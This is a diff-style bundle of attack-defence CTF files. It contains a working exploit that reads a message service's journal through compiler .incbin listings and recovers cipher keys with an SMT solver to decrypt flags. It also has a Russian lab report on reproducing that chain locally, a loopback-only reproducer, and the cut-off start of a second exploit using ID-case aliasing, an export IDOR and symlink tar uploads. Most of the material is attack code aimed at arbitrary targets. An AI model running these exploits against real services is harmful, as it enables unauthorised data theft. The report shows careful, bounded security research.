|
||||||
|
HTTP_CALLS += 1
|
||||||
|
with self.opener.open(request, timeout=min(3, left)) as response:
|
||||||
|
return response.status, json.load(response)
|
||||||
|
except urllib.error.HTTPError as error:
|
||||||
|
try:
|
||||||
|
return error.code, json.load(error)
|
||||||
|
except ValueError:
|
||||||
|
raise Failure("non-JSON service error") from error
|
||||||
|
except (OSError, ValueError) as error:
|
||||||
|
raise Failure("HTTP request failed") from error
|
||||||
|
finally:
|
||||||
|
HTTP_SECONDS += time.monotonic() - started
|
||||||
|
|
||||||
|
def compile(self, path, offset, count):
|
||||||
|
global COMPILE_CALLS
|
||||||
|
COMPILE_CALLS += 1
|
||||||
|
asm = (".byte 0x41,0x01,0x41,0x02,0x41,0x03,0x41,0x04\n"
|
||||||
|
+ f'.incbin "{path}",{offset},{count}\n'
|
||||||
|
+ ".byte 0x41,0x05,0x41,0x06,0x41,0x07,0x41,0x08")
|
||||||
|
source = "int filter(int n) { __asm__(" + json.dumps(asm) + "); return 1; }"
|
||||||
|
return self.api(f"/api/queues/{self.compiler_queue}/filter",
|
||||||
|
{"source": source, "label": "probe"})
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def embedded_bytes(body):
|
||||||
|
listing = body.get("listing", "")
|
||||||
|
raw = bytes.fromhex("".join(m.group(1).replace(" ", "")
|
||||||
|
for m in HEX_LINES.finditer(listing)))
|
||||||
|
start = raw.find(MARKER)
|
||||||
|
end = raw.find(END_MARKER, start + len(MARKER)) if start >= 0 else -1
|
||||||
|
if start < 0 or end < 0:
|
||||||
|
raise Failure("compiler listing omitted journal markers")
|
||||||
|
return raw[start + len(MARKER):end]
|
||||||
|
|
||||||
|
def valid_offset(self, path, offset):
|
||||||
|
status, body = self.compile(path, offset, 1)
|
||||||
|
return status == 200 and len(self.embedded_bytes(body)) == 1
|
||||||
|
|
||||||
|
def file_size(self, path):
|
||||||
|
if not self.valid_offset(path, 0):
|
||||||
|
raise Failure("journal missing or compiler cannot read it")
|
||||||
|
low, high = 1, 2
|
||||||
|
while True:
|
||||||
|
if not self.valid_offset(path, high - 1):
|
||||||
|
break
|
||||||
|
low, high = high, high * 2
|
||||||
|
if high > 32 * 1024 * 1024:
|
||||||
|
raise Failure("journal exceeds bounded size probe")
|
||||||
|
while low < high:
|
||||||
|
mid = (low + high) // 2
|
||||||
|
if self.valid_offset(path, mid):
|
||||||
|
low = mid + 1
|
||||||
|
else:
|
||||||
|
high = mid
|
||||||
|
return low
|
||||||
|
|
||||||
|
def leak(self, path, start, end):
|
||||||
|
out = bytearray()
|
||||||
|
for offset in range(start, end, 192):
|
||||||
|
count = min(192, end - offset)
|
||||||
|
status, body = self.compile(path, offset, count)
|
||||||
|
if status != 200:
|
||||||
|
raise Failure("journal chunk compile failed")
|
||||||
|
leaked = self.embedded_bytes(body)
|
||||||
|
if len(leaked) != count:
|
||||||
|
raise Failure("compiler listing omitted journal bytes")
|
||||||
|
out.extend(leaked)
|
||||||
|
return bytes(out)
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
global SOLVE_SECONDS
|
||||||
|
if len(sys.argv) < 2:
|
||||||
|
raise Failure("usage: probe.py TARGET [QUEUE_UUID]")
|
||||||
|
target = sys.argv[1]
|
||||||
|
queue = sys.argv[2] if len(sys.argv) > 2 else os.getenv("LIGHTHOUSE_QUEUE_ID", "")
|
||||||
|
if not UUID.fullmatch(queue):
|
||||||
|
raise Failure("missing or invalid queue UUID hint")
|
||||||
|
if "://" not in target:
|
||||||
|
target = "http://" + target
|
||||||
|
parsed = urlparse(target)
|
||||||
|
if parsed.scheme not in ("http", "https") or not parsed.hostname:
|
||||||
|
raise Failure("invalid target")
|
||||||
|
port = parsed.port or 8085
|
||||||
|
base = f"{parsed.scheme}://{parsed.hostname}:{port}"
|
||||||
|
client = Client(base, time.monotonic() + 30)
|
||||||
|
status, info = client.api(f"/api/queues/{queue}")
|
||||||
|
if status != 200:
|
||||||
|
raise Failure("target queue unavailable")
|
||||||
|
day = info.get("created_at", "")[:10]
|
||||||
|
if not re.fullmatch(r"\d{4}-\d{2}-\d{2}", day):
|
||||||
|
raise Failure("invalid queue creation date")
|
||||||
|
journal = f"/var/log/lighthouse/{day}/{queue}.log"
|
||||||
|
status, attacker = client.api("/api/queues", {"label": "probe"})
|
||||||
|
if status != 201 or not UUID.fullmatch(attacker.get("id", "")):
|
||||||
|
raise Failure("cannot create compiler queue")
|
||||||
|
client.compiler_queue = attacker["id"]
|
||||||
|
size_before = client.file_size(journal)
|
||||||
|
|
||||||
|
rng = random.Random(753981)
|
||||||
|
groups, payload = [], bytearray()
|
||||||
|
for _ in range(8):
|
||||||
|
xor = rng.getrandbits(32)
|
||||||
|
group = []
|
||||||
|
for _ in range(6):
|
||||||
|
left = rng.getrandbits(32)
|
||||||
|
right = left ^ xor
|
||||||
|
group.append((left, right))
|
||||||
|
payload.extend(left.to_bytes(4, "big") + right.to_bytes(4, "big"))
|
||||||
|
groups.append(group)
|
||||||
|
topic = "probe" + os.urandom(4).hex()
|
||||||
|
status, sent = client.api(f"/api/queues/{queue}/messages",
|
||||||
|
{"message": base64.b64encode(payload).decode("ascii"),
|
||||||
|
"topic": topic})
|
||||||
|
if status != 201:
|
||||||
|
raise Failure("chosen plaintext delivery rejected")
|
||||||
|
cipher_length = sent.get("encrypted_length")
|
||||||
|
if cipher_length != (len(payload) + 8) * 2:
|
||||||
|
raise Failure("unexpected cipher length")
|
||||||
|
line_length = 20 + 7 + 36 + 7 + len(topic) + 12 + cipher_length + 1
|
||||||
|
probe_line = client.leak(journal, size_before, size_before + line_length)
|
||||||
|
match = next((m for m in LINE.finditer(probe_line)
|
||||||
|
if m.group(1) == topic.encode()), None)
|
||||||
|
if not match:
|
||||||
|
# Another writer may have appended between the size check and our message.
|
||||||
|
size_after = client.file_size(journal)
|
||||||
|
if size_after > size_before + 4096:
|
||||||
|
raise Failure("chosen message moved beyond bounded race window")
|
||||||
|
probe_line = client.leak(journal, size_before, size_after)
|
||||||
|
match = next((m for m in LINE.finditer(probe_line)
|
||||||
|
if m.group(1) == topic.encode()), None)
|
||||||
|
if not match or len(match.group(2)) != cipher_length:
|
||||||
|
raise Failure("chosen ciphertext missing from journal")
|
||||||
|
cipher = match.group(2)
|
||||||
|
pairs = []
|
||||||
|
for group_index, group in enumerate(groups):
|
||||||
|
solved_group = []
|
||||||
|
for index, (left, right) in enumerate(group):
|
||||||
|
value = int(cipher[(group_index * 6 + index) * 16:
|
||||||
|
(group_index * 6 + index + 1) * 16], 16)
|
||||||
|
solved_group.append((left, right, value >> 32, value & 0xffffffff))
|
||||||
|
pairs.append(solved_group)
|
||||||
|
solve_started = time.monotonic()
|
||||||
|
keys = solve_effective(pairs)
|
||||||
|
SOLVE_SECONDS = time.monotonic() - solve_started
|
||||||
|
flag_regex = re.compile(os.getenv("LIGHTHOUSE_FLAG_REGEX",
|
||||||
|
r"[A-Z0-9]{31}=").encode("ascii"))
|
||||||
|
seen = set()
|
||||||
|
step = 2048
|
||||||
|
for end in range(size_before, max(-1, size_before - 8192), -step):
|
||||||
|
start = max(0, end - step)
|
||||||
|
data = client.leak(journal, start, end)
|
||||||
|
for item in reversed(list(LINE.finditer(data))):
|
||||||
|
plain = decrypt(item.group(2), keys)
|
||||||
|
for found in flag_regex.findall(plain):
|
||||||
|
if found not in seen:
|
||||||
|
seen.add(found)
|
||||||
|
print(found.decode("ascii"), flush=True)
|
||||||
|
if seen or start == 0:
|
||||||
|
break
|
||||||
|
if not seen:
|
||||||
|
print("no matching flag in bounded journal tail", file=sys.stderr)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
started = time.monotonic()
|
||||||
|
try:
|
||||||
|
main()
|
||||||
|
except Failure as error:
|
||||||
|
print(str(error), file=sys.stderr)
|
||||||
|
raise SystemExit(1)
|
||||||
|
finally:
|
||||||
|
print(f"elapsed={time.monotonic() - started:.3f}s "
|
||||||
|
f"http={HTTP_CALLS} compile={COMPILE_CALLS} "
|
||||||
|
f"http_seconds={HTTP_SECONDS:.3f} solve_seconds={SOLVE_SECONDS:.3f}",
|
||||||
|
file=sys.stderr)
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
z3-solver==5.3.1.0
|
||||||
@@ -0,0 +1,61 @@
|
|||||||
|
# Lighthouse L-02/L-04/L-05 — локальное воспроизведение
|
||||||
|
|
||||||
|
## Обновление: подтверждена цепочка до синтетического флага
|
||||||
|
|
||||||
|
После исходной проверки `#include` другой исследователь подготовил PoC
|
||||||
|
`../flag_hunt/probe.py`: публичный C-фильтр через `.incbin` выводит байты журнала
|
||||||
|
в `listing`, публичная отправка сообщения даёт 48 выбранных 8-байтовых блоков
|
||||||
|
открытого текста, а staged SMT-восстановление даёт **эквивалентные ключи блочного
|
||||||
|
шифра**. Это не исходный `read_key`, но их достаточно для расшифрования
|
||||||
|
шифртекста сообщений из журнала.
|
||||||
|
|
||||||
|
Я независимо проверил этот PoC на **новой собственной очереди** baseline в
|
||||||
|
отдельном tmpfs-контейнере: заранее записал неизвестный PoC синтетический
|
||||||
|
`GOCTF{...}` и дополнительное случайное 31-байтовое сообщение. В PoC передал
|
||||||
|
только loopback URL и UUID, без `read_key`. PoC вывел ровно ожидаемый флаг;
|
||||||
|
восстановленные ключи побайтно расшифровали и дополнительное сообщение.
|
||||||
|
Получилось 28 HTTP-запросов (1 GET, 27 POST) за 2,074 с на локальном Docker.
|
||||||
|
Затем я повторил финальный PoC на двух других свежих синтетических очередях с
|
||||||
|
официальным форматом `[A-Z0-9]{31}=` без переопределения regex. В обоих случаях
|
||||||
|
он вывел ровно заранее неизвестный ему флаг и побайтно расшифровал отдельное
|
||||||
|
случайное 31-байтовое сообщение. Во втором измеренном прогоне: 28 HTTP-запросов,
|
||||||
|
25 компиляций, 1,263 с всего (0,998 с HTTP, 0,257 с solver). Это локальные
|
||||||
|
времена на loopback, не оценка игровой сети или загруженного контейнера.
|
||||||
|
На первой версии PoC обнаружился ложный критерий EOF: `.incbin` возвращал HTTP
|
||||||
|
200 и за концом файла. Исследователь заменил его проверкой длины байтов между
|
||||||
|
двумя маркерами; повторный независимый прогон прошёл. Ложный ключ на этом
|
||||||
|
наборе не обнаружен, но одна очередь не даёт статистической гарантии. Этот
|
||||||
|
результат требует **пересмотра приоритета сочетания L-04 и L-05** и проверки
|
||||||
|
кандидата патча против полного PoC.
|
||||||
|
|
||||||
|
Источник: побайтная копия `services/lighthouse-baseline-4f70df55/lighthouse/` от Git SHA `4f70df55dd822880f4759d553f7ed249166cad86`. Исследование выполнено 25.10.2026 на отдельном Docker-образе `goctf-lighthouse-baseline:4f70df55`, в контейнере с тремя временными `tmpfs` и публикацией **только** на `127.0.0.1:18185`. Данные полностью синтетические; игровая сеть, vulnbox, секреты и флаги не использовались.
|
||||||
|
|
||||||
|
## Статус
|
||||||
|
|
||||||
|
| Гипотеза | Статус | Точное наблюдение | Путь к флагу |
|
||||||
|
| --- | --- | --- | --- |
|
||||||
|
| L-02: публичная загрузка фильтра портит чужую историю | **Локально подтверждено** | 17 запросов без `X-Queue-Key` с некорректным C вернули `422`, но создали ревизии. Ранее созданная неактивная ревизия владельца после этого давала `404` даже с его ключом. Активная ревизия оставалась доступной (`200`). | Не обнаружен. Это порча истории и ограниченный отказ обслуживания, а не чтение сообщений. |
|
||||||
|
| L-04: журнал читается через диагностику и `listing` Clang | **Локально подтверждено** | `#include` дал строку журнала в `compiler`; `.incbin` дал заданные байты журнала в `listing`. Оба публичных `POST /filter` не требовали ключа. | В сочетании с L-05 и выбранным открытым текстом **локально подтверждена** расшифровка ранее неизвестного синтетического флага. |
|
||||||
|
| L-05: шифр допускает восстановление эквивалентных ключей | **Локально подтверждено в цепочке L-04+L-05** | 48 выбранных блоков в одном публичном сообщении, шифртекст из журнала, staged SMT; проверка на неизвестном флаге и дополнительном случайном сообщении успешна. | Да, для сообщений той же очереди, если её журнал доступен. Исходный `read_key` не восстановлен. |
|
||||||
|
| SQLite через унаследованный FD Clang | **Проверена и не подтверждена** на этом стенде | У процесса сервера FD 3–5 указывают на SQLite DB/WAL/SHM; у пойманного процесса Clang они отсутствовали. `#include /data/lighthouse.db` и `/proc/1/fd/3` дали отказ в доступе, `/proc/self/fd/3` — отсутствие файла. Пробы FD 3–20 не выдали синтетический ключ. У Clang также был FD 8 сокета, но его `#include` дал `ENXIO`. | Ключ через этот путь не получен. Это не доказательство отсутствия других путей. |
|
||||||
|
|
||||||
|
## Условия и воспроизведение
|
||||||
|
|
||||||
|
- L-02 требует UUID очереди, известного из публичного API или допустимых игровых подсказок. Ключ не нужен для `POST /filter`; 16 последних неактивных ревизий сохраняются. Атака не удаляет текущую активную ревизию, но вытесняет старые неактивные записи и создаёт нагрузку на компилятор/диск. Наш тест ограничен 17 запросами на собственной тестовой очереди.
|
||||||
|
- L-04 требует UUID и дату создания очереди для пути `/var/log/lighthouse/YYYY-MM-DD/<uuid>.log`; публичный `GET /api/queues/<uuid>` раскрывает `created_at`. Нужна хотя бы одна запись в журнале и исходные права 0755/0644. Публичный `POST /filter` создаёт новую ревизию на своей compiler-очереди. Если правки закрыли журнал или изменили `listing`, цепочка прервётся. Большой журнал увеличивает число HTTP-запросов; текущий PoC просматривает только ограниченный хвост, поэтому может пропустить старый флаг.
|
||||||
|
- Для цепочки L-04+L-05 необходима публичная отправка выбранного сообщения в целевую очередь и возможность прочитать её новый ciphertext из журнала. Эквивалентные ключи не являются `read_key`, поэтому они не дают доступа к `GET /messages` или активации фильтров. Локально подтверждённый флаговый PoC находится в `../flag_hunt/probe.py`; его поведение на игровом маршруте, при нагрузке, в официальном checker и против патча не проверено.
|
||||||
|
|
||||||
|
Одноразовый репродуктор допускает только loopback и сам создаёт синтетические очереди:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
python3 reproduce.py http://127.0.0.1:18185 --mode both --timeout 4
|
||||||
|
```
|
||||||
|
|
||||||
|
Для проверки отдельно используйте `--mode journal` или `--mode history`. Этот ограниченный диагностический скрипт не принимает произвольный UUID жертвы и не печатает ключи, шифртекст или сообщение. Его **stdout пуст**; краткий результат идёт в stderr. Флаговый PoC — отдельный `../flag_hunt/probe.py`. На baseline обе диагностические проверки прошли; `python3 -m py_compile reproduce.py` прошёл.
|
||||||
|
|
||||||
|
## Точки кода
|
||||||
|
|
||||||
|
- L-02: `server/main.cpp:139-185`, особенно проверка только `require_queue` в строке 148, добавление ревизии в 156–163 и удаление в 164–184. Активация в 229–240 отдельно требует ключ.
|
||||||
|
- L-04: `server/main.cpp:57-64,139-150,186-189`, `server/chronicle.hpp:16-24`, `server/compiler.hpp:82-115`. Компилятор работает от `nobody` и выводит диагностику включённого файла. Прямая SQLite находится под `/data` с правом 0700.
|
||||||
|
|
||||||
|
Эти результаты относятся к исходной ревизии. Незакоммиченный кандидат в `repos/go-ctf-services/lighthouse/` во время проверки изменялся другим агентом и здесь не тестировался.
|
||||||
@@ -0,0 +1,171 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Bounded Lighthouse L-02/L-04 reproducer for a disposable loopback lab.
|
||||||
|
|
||||||
|
The program creates its own synthetic queue and sends at most 21 filter builds.
|
||||||
|
It never prints queue keys, ciphertext, or synthetic payloads. Stdout is kept
|
||||||
|
empty because neither issue has been shown to recover a scoring flag.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import base64
|
||||||
|
import json
|
||||||
|
import sys
|
||||||
|
import urllib.error
|
||||||
|
import urllib.parse
|
||||||
|
import urllib.request
|
||||||
|
|
||||||
|
|
||||||
|
class ProbeError(Exception):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
OPENER = urllib.request.build_opener(urllib.request.ProxyHandler({}))
|
||||||
|
|
||||||
|
|
||||||
|
def api(base: str, timeout: float, method: str, path: str, body=None, key=None):
|
||||||
|
headers = {"Accept": "application/json"}
|
||||||
|
data = None
|
||||||
|
if body is not None:
|
||||||
|
data = json.dumps(body).encode("utf-8")
|
||||||
|
headers["Content-Type"] = "application/json"
|
||||||
|
if key is not None:
|
||||||
|
headers["X-Queue-Key"] = key
|
||||||
|
request = urllib.request.Request(
|
||||||
|
base + path, data=data, headers=headers, method=method
|
||||||
|
)
|
||||||
|
try:
|
||||||
|
response = OPENER.open(request, timeout=timeout)
|
||||||
|
except urllib.error.HTTPError as error:
|
||||||
|
response = error
|
||||||
|
except urllib.error.URLError as error:
|
||||||
|
raise ProbeError(f"network error: {error.reason}") from error
|
||||||
|
try:
|
||||||
|
payload = json.loads(response.read(65536))
|
||||||
|
except (ValueError, UnicodeError) as error:
|
||||||
|
raise ProbeError(f"HTTP {response.status}: invalid JSON") from error
|
||||||
|
if not isinstance(payload, dict):
|
||||||
|
raise ProbeError(f"HTTP {response.status}: expected JSON object")
|
||||||
|
return response.status, payload
|
||||||
|
|
||||||
|
|
||||||
|
def new_queue(base: str, timeout: float):
|
||||||
|
status, queue = api(base, timeout, "POST", "/api/queues", {"label": "synthetic_lab"})
|
||||||
|
if status != 201 or not all(k in queue for k in ("id", "read_key", "created_at")):
|
||||||
|
raise ProbeError(f"create queue failed: HTTP {status}")
|
||||||
|
return queue
|
||||||
|
|
||||||
|
|
||||||
|
def journal(base: str, timeout: float):
|
||||||
|
queue = new_queue(base, timeout)
|
||||||
|
queue_id = queue["id"]
|
||||||
|
message = base64.b64encode(b"SYNTHETIC-SECRET-NO-FLAG").decode("ascii")
|
||||||
|
status, _ = api(
|
||||||
|
base, timeout, "POST", f"/api/queues/{queue_id}/messages",
|
||||||
|
{"message": message, "topic": "synthetic_topic"},
|
||||||
|
)
|
||||||
|
if status != 201:
|
||||||
|
raise ProbeError(f"synthetic message failed: HTTP {status}")
|
||||||
|
day = queue["created_at"][:10]
|
||||||
|
source = (
|
||||||
|
f'#include "/var/log/lighthouse/{day}/{queue_id}.log"\n'
|
||||||
|
"int filter(int encrypted_length) { return 1; }"
|
||||||
|
)
|
||||||
|
status, result = api(
|
||||||
|
base, timeout, "POST", f"/api/queues/{queue_id}/filter",
|
||||||
|
{"source": source, "label": "synthetic_probe"},
|
||||||
|
)
|
||||||
|
diagnostic = result.get("compiler", "")
|
||||||
|
if not isinstance(diagnostic, str):
|
||||||
|
raise ProbeError("compiler field is not text")
|
||||||
|
exposed = "topic=synthetic_topic ciphertext=" in diagnostic
|
||||||
|
plaintext = "SYNTHETIC-SECRET-NO-FLAG" in diagnostic
|
||||||
|
print(
|
||||||
|
f"L-04: HTTP {status}; journal metadata/ciphertext exposed={exposed}; "
|
||||||
|
f"plaintext exposed={plaintext}; inserted revision={result.get('revision')}",
|
||||||
|
file=sys.stderr,
|
||||||
|
)
|
||||||
|
if not exposed:
|
||||||
|
raise ProbeError("L-04 was not reproduced on this target")
|
||||||
|
|
||||||
|
|
||||||
|
def history(base: str, timeout: float):
|
||||||
|
queue = new_queue(base, timeout)
|
||||||
|
queue_id, key = queue["id"], queue["read_key"]
|
||||||
|
path = f"/api/queues/{queue_id}/filter"
|
||||||
|
status, active = api(
|
||||||
|
base, timeout, "POST", path,
|
||||||
|
{"source": "int filter(int n) { return 1; }", "label": "owner_active"},
|
||||||
|
)
|
||||||
|
if status != 200:
|
||||||
|
raise ProbeError(f"owner active revision failed: HTTP {status}")
|
||||||
|
status, old = api(
|
||||||
|
base, timeout, "POST", path,
|
||||||
|
{"source": "int filter(int n) { return n != 7; }", "label": "owner_old"},
|
||||||
|
)
|
||||||
|
if status != 200:
|
||||||
|
raise ProbeError(f"owner old revision failed: HTTP {status}")
|
||||||
|
status, _ = api(
|
||||||
|
base, timeout, "POST",
|
||||||
|
f"/api/queues/{queue_id}/filters/{active['revision']}/activate", {}, key=key,
|
||||||
|
)
|
||||||
|
if status != 200:
|
||||||
|
raise ProbeError(f"activate failed: HTTP {status}")
|
||||||
|
# Each unauthenticated rejected build creates a revision. The server keeps
|
||||||
|
# the newest 16 inactive revisions, so 17 requests remove the old owner one.
|
||||||
|
statuses = []
|
||||||
|
for _ in range(17):
|
||||||
|
status, _ = api(
|
||||||
|
base, timeout, "POST", path,
|
||||||
|
{"source": "int filter(", "label": "synthetic_unauthorized"},
|
||||||
|
)
|
||||||
|
statuses.append(status)
|
||||||
|
old_status, _ = api(
|
||||||
|
base, timeout, "GET",
|
||||||
|
f"/api/queues/{queue_id}/filters/{old['revision']}", key=key,
|
||||||
|
)
|
||||||
|
active_status, _ = api(
|
||||||
|
base, timeout, "GET",
|
||||||
|
f"/api/queues/{queue_id}/filters/{active['revision']}", key=key,
|
||||||
|
)
|
||||||
|
exposed = all(status == 422 for status in statuses) and old_status == 404
|
||||||
|
print(
|
||||||
|
f"L-02: anonymous rejected builds={len(statuses)}; "
|
||||||
|
f"owner inactive revision HTTP {old_status}; "
|
||||||
|
f"owner active revision HTTP {active_status}; history deletion={exposed}",
|
||||||
|
file=sys.stderr,
|
||||||
|
)
|
||||||
|
if not exposed or active_status != 200:
|
||||||
|
raise ProbeError("L-02 was not reproduced as expected")
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
parser = argparse.ArgumentParser(description=__doc__)
|
||||||
|
parser.add_argument("base_url", help="disposable local Lighthouse URL")
|
||||||
|
parser.add_argument("--mode", choices=("journal", "history", "both"), default="both")
|
||||||
|
parser.add_argument("--timeout", type=float, default=4.0)
|
||||||
|
args = parser.parse_args()
|
||||||
|
parsed = urllib.parse.urlsplit(args.base_url)
|
||||||
|
if parsed.scheme != "http" or parsed.hostname not in ("127.0.0.1", "localhost", "::1"):
|
||||||
|
parser.error("this synthetic reproducer only accepts a loopback HTTP target")
|
||||||
|
if parsed.username is not None or parsed.password is not None:
|
||||||
|
parser.error("base_url must not contain username or password")
|
||||||
|
if parsed.path not in ("", "/") or parsed.query or parsed.fragment:
|
||||||
|
parser.error("base_url must not contain a path, query, or fragment")
|
||||||
|
if not 0.1 <= args.timeout <= 10:
|
||||||
|
parser.error("timeout must be between 0.1 and 10 seconds")
|
||||||
|
base = args.base_url.rstrip("/")
|
||||||
|
try:
|
||||||
|
if args.mode in ("journal", "both"):
|
||||||
|
journal(base, args.timeout)
|
||||||
|
if args.mode in ("history", "both"):
|
||||||
|
history(base, args.timeout)
|
||||||
|
except ProbeError as error:
|
||||||
|
print(f"probe failed: {error}", file=sys.stderr)
|
||||||
|
return 1
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
raise SystemExit(main())
|
||||||
Executable
+308
@@ -0,0 +1,308 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import hashlib
|
||||||
|
import io
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import sys
|
||||||
|
import tarfile
|
||||||
|
from urllib.error import HTTPError, URLError
|
||||||
|
from urllib.parse import quote, unquote, urlsplit, urlunsplit
|
||||||
|
from urllib.request import Request, urlopen
|
||||||
|
|
||||||
|
TARGET_SCHEME = "http"
|
||||||
|
SERVICE_PORT = 8086
|
||||||
|
REQUEST_TIMEOUT = 2.0
|
||||||
|
MAX_RESPONSE = 256 * 1024
|
||||||
|
MAX_OBJECTS = 6
|
||||||
|
IMPORTER_KEY = "orbit-importer-service-key"
|
||||||
|
ID_PATTERN = re.compile(r"\b(?:ship|flight|summary|grant)-[0-9a-fA-F]{32}\b")
|
||||||
|
|
||||||
|
|
||||||
|
class ExploitError(Exception):
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
def parse_target(target: str) -> tuple[str, str]:
|
||||||
|
raw = target.strip()
|
||||||
|
if not raw:
|
||||||
|
raise ValueError("empty target")
|
||||||
|
address, separator, encoded_hint = raw.partition("#")
|
||||||
|
hint = unquote(encoded_hint) if separator else os.environ.get("ORBITAL_HINT", "")
|
||||||
|
if not address:
|
||||||
|
raise ValueError("empty target address")
|
||||||
|
explicit_scheme = "://" in address
|
||||||
|
if not explicit_scheme:
|
||||||
|
authority = f"[{address}]" if address.count(":") > 1 and not address.startswith("[") else address
|
||||||
|
address = f"{TARGET_SCHEME}://{authority}"
|
||||||
|
parsed = urlsplit(address)
|
||||||
|
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||||
|
raise ValueError("expected an HTTP target")
|
||||||
|
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||||
|
raise ValueError("target must not include credentials or a path")
|
||||||
|
if parsed.query or parsed.fragment:
|
||||||
|
raise ValueError("target address must not include query or fragment")
|
||||||
|
port = parsed.port
|
||||||
|
if port is None:
|
||||||
|
port = 443 if explicit_scheme and parsed.scheme == "https" else 80 if explicit_scheme else SERVICE_PORT
|
||||||
|
if not 1 <= port <= 65535:
|
||||||
|
raise ValueError("invalid target port")
|
||||||
|
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||||
|
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")), hint
|
||||||
|
|
||||||
|
|
||||||
|
def request(base: str, path: str, method: str = "GET", body: bytes | None = None, headers=None) -> tuple[int, bytes]:
|
||||||
|
request_headers = {"User-Agent": "orbital-navigation/1.0", "Accept": "application/json"}
|
||||||
|
if headers:
|
||||||
|
request_headers.update(headers)
|
||||||
|
req = Request(base + path, data=body, headers=request_headers, method=method)
|
||||||
|
try:
|
||||||
|
with urlopen(req, timeout=REQUEST_TIMEOUT) as response:
|
||||||
|
data = response.read(MAX_RESPONSE + 1)
|
||||||
|
if len(data) > MAX_RESPONSE:
|
||||||
|
raise ValueError("response too large")
|
||||||
|
return response.status, data
|
||||||
|
except HTTPError as exc:
|
||||||
|
return exc.code, exc.read(MAX_RESPONSE)
|
||||||
|
|
||||||
|
|
||||||
|
def rpc(base: str, action: str, **fields):
|
||||||
|
payload = json.dumps({"action": action, **fields}, separators=(",", ":")).encode()
|
||||||
|
status, raw = request(
|
||||||
|
base,
|
||||||
|
"/rpc",
|
||||||
|
method="POST",
|
||||||
|
body=payload,
|
||||||
|
headers={"Content-Type": "application/json"},
|
||||||
|
)
|
||||||
|
try:
|
||||||
|
document = json.loads(raw)
|
||||||
|
except (TypeError, ValueError) as exc:
|
||||||
|
raise ExploitError(f"{action}: invalid response") from exc
|
||||||
|
if status != 200 or not document.get("ok"):
|
||||||
|
raise ExploitError(f"{action}: {document.get('error', f'HTTP {status}')}")
|
||||||
|
return document.get("result")
|
||||||
|
|
||||||
|
|
||||||
|
def register(base: str) -> str:
|
||||||
|
result = rpc(base, "register")
|
||||||
|
token = result.get("token") if isinstance(result, dict) else None
|
||||||
|
if not isinstance(token, str):
|
||||||
|
raise ExploitError("register: missing token")
|
||||||
|
return token
|
||||||
|
|
||||||
|
|
||||||
|
def source_aliases(ship_id: str):
|
||||||
|
yielded = set()
|
||||||
|
candidates = [ship_id.upper(), ship_id.swapcase()]
|
||||||
|
letters = [index for index, value in enumerate(ship_id) if value.isalpha()]
|
||||||
|
seed = hashlib.sha256(ship_id.encode()).digest()
|
||||||
|
for attempt in range(16):
|
||||||
|
chars = list(ship_id)
|
||||||
|
for offset, index in enumerate(letters):
|
||||||
|
if seed[(attempt + offset) % len(seed)] & (1 << (attempt % 8)):
|
||||||
|
chars[index] = chars[index].upper()
|
||||||
|
candidates.append("".join(chars))
|
||||||
|
for candidate in candidates:
|
||||||
|
if candidate != ship_id and candidate not in yielded:
|
||||||
|
yielded.add(candidate)
|
||||||
|
yield candidate
|
||||||
|
|
||||||
|
|
||||||
|
def exploit_ship(base: str, ship_id: str) -> list[str]:
|
||||||
|
token = register(base)
|
||||||
|
for source_id in source_aliases(ship_id):
|
||||||
|
try:
|
||||||
|
rpc(base, "bind_source", token=token, source_id=source_id)
|
||||||
|
result = rpc(base, "read_source_messages", token=token, source_id=source_id)
|
||||||
|
messages = result.get("messages", []) if isinstance(result, dict) else []
|
||||||
|
return [item for item in messages if isinstance(item, str)]
|
||||||
|
except ExploitError:
|
||||||
|
continue
|
||||||
|
own_ship = rpc(base, "create_ship", token=token)["ship_id"]
|
||||||
|
profile = rpc(base, "create_profile", token=token, ship_id=own_ship)["profile_id"]
|
||||||
|
job = rpc(base, "create_export", token=token, profile_id=profile)["job_id"]
|
||||||
|
rpc(base, "edit_profile", token=token, profile_id=profile, ship_id=ship_id)
|
||||||
|
result = rpc(base, "run_export", token=token, job_id=job)
|
||||||
|
messages = result.get("messages", []) if isinstance(result, dict) else []
|
||||||
|
return [item for item in messages if isinstance(item, str)]
|
||||||
|
|
||||||
|
|
||||||
|
def regular_tar(name: str, content: bytes) -> bytes:
|
||||||
|
output = io.BytesIO()
|
||||||
|
with tarfile.open(fileobj=output, mode="w", format=tarfile.USTAR_FORMAT) as archive:
|
||||||
|
entry = tarfile.TarInfo(name)
|
||||||
|
entry.size = len(content)
|
||||||
|
archive.addfile(entry, io.BytesIO(content))
|
||||||
|
return output.getvalue()
|
||||||
|
|
||||||
|
|
||||||
|
def symlink_tar(name: str, target: str) -> bytes:
|
||||||
|
output = io.BytesIO()
|
||||||
|
with tarfile.open(fileobj=output, mode="w", format=tarfile.USTAR_FORMAT) as archive:
|
||||||
|
entry = tarfile.TarInfo(name)
|
||||||
|
entry.type = tarfile.SYMTYPE
|
||||||
|
entry.linkname = target
|
||||||
|
archive.addfile(entry)
|
||||||
|
return output.getvalue()
|
||||||
|
|
||||||
|
|
||||||
|
def upload_package(base: str, package_id: str, token: str, content: bytes) -> None:
|
||||||
|
status, raw = request(
|
||||||
|
base,
|
||||||
|
f"/packages/{quote(package_id, safe='')}/content",
|
||||||
|
method="PUT",
|
||||||
|
body=content,
|
||||||
|
